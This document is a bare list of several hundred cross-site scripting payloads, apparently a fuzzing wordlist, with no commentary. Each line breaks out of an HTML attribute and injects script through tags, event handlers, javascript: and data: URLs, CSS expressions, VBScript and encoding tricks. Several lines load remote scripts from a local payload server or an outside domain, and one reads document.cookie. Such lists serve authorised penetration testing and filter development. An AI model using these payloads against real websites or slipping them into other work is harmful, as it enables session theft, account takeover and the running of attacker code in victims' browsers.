"><!DOCTYPE x[<!ENTITY x SYSTEM "http://127.0.0.1:3555/xss_serve_payloads/X.html">]><y>&x;</y>
"><!ENTITY x "<html:img src='x' xmlns:html='http://www.w3.org/1999/xhtml' onerror='alert(1)'/>">
"><![CDATA[<!--]]<script>alert(1);//--></script>
"><![CDATA[<script>alert(X)</script>]]]]><![CDATA[>
"><!a foo=x=`y><img alt="`><img src=x:x onerror=alert(2)//">
"><"script">"alert(0)"</"script">
"><%0ascript>alert(1);</script>
"><%0bscript>alert(1);</script>
"><%div%20style=xss:expression(prompt(1))>
"><// style=x:expression\28write(1)\29>
"></SCRIPT>>><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
"></SCRIPT>>><SCRIPT>prompt(1)</SCRIPT>
"></SCRIPT>><SCRIPT>alert(String.fromCharCode(75,67,70))
"></SCRIPT>><SCRIPT>prompt(1)</SCRIPT>
"></SCRIPT>”><SCRIPT>alert(String.fromCharCode(75,67,70))
"></SCRIPT>”><SCRIPT>prompt(1)</SCRIPT>
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
"></SCRIPT>”>”><SCRIPT>prompt(1)</SCRIPT>
"></TITLE><SCRIPT>alert(1);</SCRIPT>
"></a onmousemove="alert(1)">
"></a onmousemove=alert(1)>
"></plaintext\></|\><plaintext/onmouseover=prompt(1)
"></script "/*'/*><img/src=x */; onerror=alert(1) //
"></script "/*'/*><svg */; onload=alert(1) //>
"></script "//'//><svg%0Aonload=alert(1)//>
"></script>"//'//<svg%0Aonload=alert(1) //>
"></script>"//'//<svg%0Aonload=alert(1)//>
"></script>'//<svg "%0Aonload=alert(1) //>
"></script>'//<svg "%0Aonload=alert(1)// />
"></script><img '//"%0Aonerror=alert(1)// src=1>
"></script><img '//"%0Aonerror=alert(1)// src>
"></script><img src '//"%0Aonerror=alert(1)//
"></script><script >alert(1)</script>
"></script><script>/*"/*'/**/;alert(1)//</script>#
"></script><script>/*var a="/*""'/**/;alert(1);//</script>
"></script><script>alert(String.fromCharCode(75,67,70))</script>
"></script><script>alert(X
"></script><script>prompt(1)</script>
"></script><svg onload='-/"/-[alert(1)]//'/>
"></script><svg onload='-/"/-alert(1)//'>
"><<SCRIPT>alert(1);/
"><<SCRIPT>alert(1);//<</SCRIPT>
"><<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script
"><<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script
"><<script>alert(1);</script>
"><<script>alert(document.cookie);//<</script>
"><? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>
"><?a foo=x=`y><img alt="`><img src=x:x onerror=alert(3)//">
"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X<SCRIPT DEFER>alert("X")</SCRIPT>"></BODY></HTML>
"><?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]]]><![CDATA[></payload></x>
"><?xml-stylesheet href="javascript:alert(1)"?><root/>
"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>
"><?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
"><?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> </template> </stylesheet>
"><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
"><A CLASS=X></A>
"><A HREF="//127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
"><A HREF="//google">X</A>
"><A HREF="h tt p://6	6.000146.0x7.147/">X</A>
"><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">X</A>
"><A HREF="http://1113982867/">X</A>
"><A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html./">X</A>
"><A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html@google">X</A
"><A HREF="http://google:127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
"><A HREF="javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'">X</A>
"><BASE HREF="javascript:alert(1);//">
"><BGSOUND SRC="javascript:alert(1);">
"><BODY BACKGROUND="javascript:alert(1)">
"><BODY ONLOAD=alert(1)>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("X")>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
"><BR SIZE="&{alert(1)}">
"><DIV STYLE="background-image: url(javascript:alert(1))">
"><DIV STYLE="background-image: url(javascript:alert(1))">
"><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
"><DIV STYLE="width: expression(alert(1));">
"><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">
"><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
"><EMBED SRC="http://127.0.0.1:3555/xss_serve_payloads/flash.swf"></EMBED>
"><FRAMESET><FRAME RC=""+"javascript:alert('X');"></FRAMESET>
"><FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
"><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
"><IFRAME SRC="javascript:alert(1);"></IFRAME>
"><IMG """><SCRIPT>alert(1)</SCRIPT>">
"><IMG DYNSRC="javascript:alert(1)">
"><IMG LOWSRC="javascript:alert(1)">
"><IMG ONERROR=VBS:EXECSCRIPT LCASE(ALERT(1)) SRC=A>
"><IMG ONERROR=VBS:MSGBOX 1 SRC=A>
"><IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(1)’)” SRC=A>
"><IMG ONERROR=”VBS:MSGBOX 1” SRC=A>
"><IMG SRC=" javascript:alert(1);">
"><IMG SRC="  javascript:alert(1);">
"><IMG SRC="jav ascript:alert('X');">
"><IMG SRC="jav ascript:alert(1);">
"><IMG SRC="jav	ascript:alert(1);">
"><IMG SRC="jav
ascript:alert('X');">
"><IMG SRC="jav
ascript:alert(1);">
"><IMG SRC="jav
ascript:alert(1);">
"><IMG SRC="javascript:alert(1)"
"><IMG SRC="javascript:alert(1);"
"><IMG SRC=# onmouseover="alert('X')">
"><IMG SRC=javascript:alert('XSS')>
"><IMG SRC=javascript:alert('KCF');>
"><IMG SRC=javascript:alert('XSS')>
"><IMG SRC=javascri pt:alert(' XSS')>
"><IMG SRC=javascript:alert('XSS')>
"><IMG SRC='vbscript:msgbox(1)'>
"><IMG SRC=JaVaScRiPt:alert(1)>
"><IMG SRC=`javascript:alert(X says, X)`>
"><IMG SRC=`javascript:alert("Kerala Cyber Force, 'X'")`>
"><IMG SRC=`javascript:alert(1)`>
"><IMG SRC=`javascript:alert(“X says, ‘X’”)`>
"><IMG SRC=javascript:alert("X")>
"><IMG SRC=javascript:alert(1)>
"><IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>
"><IMG STYLE="X:expr/*X*/ession(alert(1))">
"><INPUT TYPE="IMAGE" SRC="javascript:alert(1);">
"><LAYER SRC="javascript:alert(1);"></LAYER>
"><LINK REL="stylesheet" HREF="javascript:alert(1);">
"><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1)</SCRIPT>">
"><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);">
"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
"><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);">
"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
"><SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT <B>alert(1);</SCRIPT>
"><SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>
"><SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>
"><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(ALERT(1))) </SCRIPT>
"><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT>
"><SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>
"><SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT> alert(\"1\");</SCRIPT>
"><SCRIPT> alert(\"1\")</SCRIPT>
"><SCRIPT>+alert("X");</SCRIPT>
"><SCRIPT>+alert("X")</SCRIPT>
"><SCRIPT>a=/X/
"><SCRIPT>a=/X/alert(a.source)</SCRIPT>
"><SCRIPT>alert(1);</SCRIPT>
"><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
"><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
"><SCRIPT>x=/X/ alert(x.source)</SCRIPT>
"><SCRIPTLET> <IMPLEMENTS Type="Behavior"></IMPLEMENTS><SCRIPT Language="javascript">alert(1)</SCRIPT></SCRIPTLET>
"><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
"><STYLE TYPE="text/javascript">alert(1);</STYLE>
"><STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>
"><STYLE>.X{background-image:url("javascript:alert(1)");}</STYLE>
"><STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
"><STYLE>li {list-style-image: url("javascript:alert(1)");}</STYLE><UL><LI>X
"><ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>
"><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
"><ScRIPt>prompt(1)</ScRIPt>
"><ScRiPt+>prompt(1)</ScRiPt>
"><ScriPt>ALeRt( X )</scriPt>
"><ScriPt>ALeRt(“ X ”)</scriPt>
"><TABLE BACKGROUND="javascript:alert(1)">
"><TABLE><TD BACKGROUND="javascript:alert(1)">
"><X STYLE="X:expression(alert(1))">
"><XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(1)"></B></I></XML>
"><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert(1);">]]]]><![CDATA[></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
"><[%00]img onerror=alert(1) src=a>
"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
"><a fooooooooooooooooooooooooooooooooo href=JaVAScript%26colon%3Bprompt%26lpar%3B1%26rpar%3B%>
"><a href="123" id=x>test</a><script>x='javascript:alert(1)';</script>
"><a href="JAVASCRIPT:%E2%80%A8alert`1`">CLICKME
"><a href="[a]java[b]script[c]:alert(1)">XXX</a>
"><a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
"><a href="invalid:1" id=x name=y>test</a><a href="invalid:2" id=x name=y>test</a><script>alert(x.y[0])</script>
"><a href="j&#x26#x41;vascript:alert%252831337%2529">X</a>
"><a href="javascript#alert(1);">
"><a href="javascript:x:alert(1)">x</a>
"><a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>
"><a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(1)></a>">
"><a href=jAvascript:alert(1)>X</a>
"><a onmouseover="javascript:window.onerror=alert;throw 1>
"><a onmouseover=(alert(1))>X</a>
"><a onmouseover=location=javascript:alert(1)>click
"><a onmouseover=location=’javascript:alert(1)>click
"><a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a>
"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>
"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
"><a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x31\x29\x3B'>X
"><applet code="javascript:confirm(1);">
"><article xmlns="><img src=x onerror=alert(1)"></article>
"><article xmlns="x:img src=x onerror=alert(1) ">
"><audio src=1 href=1 onerror="javascript:alert(1)"></audio>
"><audio src=1 onerror=alert(1)>
"><b <script>alert(1)//</script>0</script></b>
"><b/alt="1"onmouseover=InputBox+1language=vbs>X</b>
"><b/onclick="javascript:window.window.window['alert'](1)">bold
"><b><script<b></b><alert(1)</script </b></b>
"><bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
"><bgsound onpropertychange=alert(1)>
"><body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>
"><body language=vbsonload=alert-1
"><body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
"><body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
"><body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
"><body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
"><body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
"><body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
"><body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
"><body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
"><body onactivate=alert(1)>
"><body onbeforeactivate=alert(1)>
"><body onfocus="location='javascrpt:alert(1) >123
"><body onfocusin=alert(1)>
"><body oninput=alert(1)><input autofocus>
"><body oninput=prompt(1)><input autofocus>
"><body onload="X">
"><body onload="alert(1)">
"><body onload="alert(1);">
"><body onload=prompt(1);>
"><body onpageshow=alert(1);>
"><body onpageshow=alert(1)>
"><body onscroll=alert(1)><br><br>...<br><input autofocus>
"><body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
"><body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
"><body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
"><body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
"><body src=1 href=1 onerror="javascript:alert(1)"></body>
"><body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
"><body/onpageshow=alert(1);>
"><body/onpageshow=alert(1)>
"><br><br><b><u>X</u></b>
"><button/onclick=alert(1) >X</button>
"><command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>
"><comment><img src="</comment><img src=x onerror=alert(1))//">
"><comment><img src="</comment><img src=x onerror=alert(1)//">
"><comment><img src="</comment><img src=x onerror=prompt(1)//">
"><div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
"><div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><div contextmenu=x>right-click<menu id=x onshow=alert(1)>
"><div datafld="b" dataformatas="html" datasrc="#X"></div>
"><div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
"><div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
"><div onmouseover="alert(1);">
"><div style="[a]color[b]:[c]red">XXX</div>
"><div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>
"><div style="background-image: url(javascript:alert(1););">
"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>
"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>
"><div style="behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');">
"><div style="behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);">
"><div style="binding: url("http://127.0.0.1:3555/xss_serve_payloads/X.html"));">
"><div style="binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));">
"><div style="color:rgb(''�x:expression(alert(1))"></div>
"><div style="font-family:'foo[a];color:red;';">XXX</div>
"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
"><div style="font-family:foo}color=red;">X
"><div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div>
"><div style="width: expression(alert(1););">
"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>
"><div style=width:1px;filter:glow onfilterchange=alert(1)>x
"><div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>
"><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>
"><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>?
"><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>
"><embed src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></embed>
"><embed src=javascript:alert(1)>
"><embed/src=//goo.gl/nlX0P>
"><event-source src=javascript:alert(1)>
"><form action="	javas	cript	:alert('X :)')" autocomplete="on"> First name:<input type="text" name="fname"><br><input type="submit"></form>
"><form action="Javascript:alert(1)"><input type=submit>
"><form action="javas	cript:alert(1)" method="get"><input type="submit" value="Submit"></form>
"><form action='data:text/html,<script>alert(1)</script>'><button>CLICK
"><form action='java	scri	pt:alert(1)'><button>CLICK
"><form action=javascript
:alert(1)><input type=submit>
"><form id="myform" value="" action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
"><form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript :alert (1)"}"action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
"><form id="test" /><button form="test" formaction="javascript:alert(1)">X
"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
"><form id=test /><button form=test formaction=javascript:alert(1)>
"><form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>
"><form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){top.location=self.location}</script>
"><form name=self location="javascript:alert(1)"
"><form name=self location="javascript:alert(1)"></form><script>if(top!=self){top.location=self.location}</script>
"><form><button formaction="javascript:alert(1)">X</button>
"><form><button formaction=javascript:alert(1)>CLICKME
"><frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
"><frameset onload=alert(1)>
"><frameset onload=prompt(1)>
"><h1>X</h1>
"><head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>
"><html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
"><html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
"><html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
"><html> <script> var a="</script><script>alert(1)//";</script> </html>
"><iMg onerror=alert(1) src=a>
"><i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>
"><i[%00]mg onerror=alert(1) src=a>
"><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
"><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
"><iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
"><iframe "onload=alert(1)></iframe>
"><iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
"><iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
"><iframe onreadystatechange=alert(1)>
"><iframe src="data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e">
"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>
"><iframe src="http://127.0.0.1:3555/xss_serve_payloads/X.html" width="800" height="800">iframe</iframe>
"><iframe src="javascript:alert(1); <
"><iframe src="javascript:x:alert(1)">
"><iframe src='' onload=alert('mphone')>
"><iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <
"><iframe src=javascript:alert(1) >
"><iframe src=javascript:alert(1)>
"><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>
"><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>
"><iframe/ "onload=alert(1)></iframe>
"><iframe/ /onload=alert(1)></iframe>
"><iframe///////onload=alert(1)></iframe>
"><iframe/src="data:text/html;	base64
,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
"><iframe/src="data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>">
"><iframe<?php echo chr(11)?> onload=alert(1)></iframe>
"><iframe<?php echo chr(12)?> onload=alert(1)></iframe>
"><iframesrc="javascript:alert(2)">
"><image src="javascript:alert(1)">
"><image src=1 href=1 onerror="javascript:alert(1)"></image>
"><img dynsrc="javascript:alert(1);">
"><img language=JScript.Encode onerror=#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ src=a>
"><img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@” src=a>
"><img o[%00]nerror=alert(1) src=a>
"><img onerror=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@ src=a>
"><img onerror=alert(1)src=a>
"><img onerror=vbs:MsgBox 1 src=a>
"><img onerror=eval('al\u0065rt(1)') src=a>
"><img onerror=MsgBox+1 language=vbs src=a>
"><img onerror=`alert(1)`src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=alert(1) src=a>
"><img onerror=’alert(1)’src=a>
"><img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@” src=a>
"><img onerror=”alert(1)”src=a>
"><img onerror=”vbs:MsgBox 1” src=a>
"><img src = http://127.0.0.1:3555/xss_serve_payloads/X.js>
"><img src = http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>
"><img src = ”http://127.0.0.1:3555/xss_serve_payloads/X.js”>
"><img src = ”http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp”>
"><img src ?itworksonchrome?\/onerror = alert(1)
"><img src ?itworksonchrome?\/onerror = alert(1)???
"><img src ?itworksonchrome?\/onerror = alert(1)
"><img src onerror /" '"= alt=alert(1)//">
"><img src=<img src=x/onerror=alert(1)//> Jquery: <img/src/onerror=alert(1)>
"><img src= "a" onerror= 'eval(atob("cHJvbXB0KDEpOw=="))'
"><img src="" onerror=alert(1);>
"><img src="" onerror=alert(1)>
"><img src="blah"onmouseover="alert(1);">
"><img src="blah>" onmouseover="alert(1);">
"><img src="http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp" onerror=alert(1)>
"><img src="http://127.0.0.1:3555/xss_serve_payloads/gif.gif" onerror=alert(1)>
"><img src="http://127.0.0.1:3555/xss_serve_payloads/image.png" onerror=alert(1)>
"><img src="http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg" onerror=alert(1)>
"><img src="javascript:alert(1)">
"><img src="livescript:alert(1);">
"><img src="mocha:alert(1);">
"><img src="x:" title="onerror=alert(1)//">
"><img src="x:? title=" onerror=alert(1)//">
"><img src="x:X" onerror="alert(1)">
"><img src="x:alert" onerror="eval(src%2b'(1)')">
"><img src="x:gif" onerror="eval('al'%2b'lert(1)')">
"><img src="x:gif" onerror="window['al\u0065rt'](1)"></img>
"><img src="x:ö" title="onerror=alert(1)//">
"><img src=java scrip t:ale rt('X SS')>
"><img src=javasc ript:ale rt('XSS')>
"><img src=&{alert(1);};>
"><img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>
"><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
"><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
"><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
"><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
"><img src='vbscript:do%63ument.lo%63ation="http://127.0.0.1:3555/xss_serve_payloads/X.html"'>
"><img src=/ onerror=alert(1);>
"><img src=1 href=1 onerror="javascript:alert(1)"></img>
"><img src=X onerror=alert(1)>
"><img src=\"x:X\" onerror=\"alert(1)\">
"><img src=a onerror=alert(1)
"><img src=a onerror=alert(1)%0A>a
"><img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>
"><img src=x onerror="javascript:window.onerror=alert;throw 1">
"><img src=x onerror=document.body.innerHTML=location.hash>#"><img src=x onerror=prompt(1)>
"><img src=x onerror=document.body.innerHTML=location.hash>#"><img/src='x'onerror=prompt(1)>
"><img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>
"><img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>
"><img src=x onerror=prompt(1);>
"><img src=x onerror=prompt(1)>
"><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html"');>
"><img src=x onerror=window.open('http://www.opensecurity.in/');>
"><img src=x:alert(alt) onerror=eval(src) alt=0>
"><img src=”<img src=x”/onerror=alert(1)//”> Jquery: <img/src/onerror=alert(1)>
"><img style="xss:expression(alert(1))">
"><img type=image src=X.gif onreadystatechange=alert(1)>
"><img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>
"><img/onerror=alert(1) src=a>
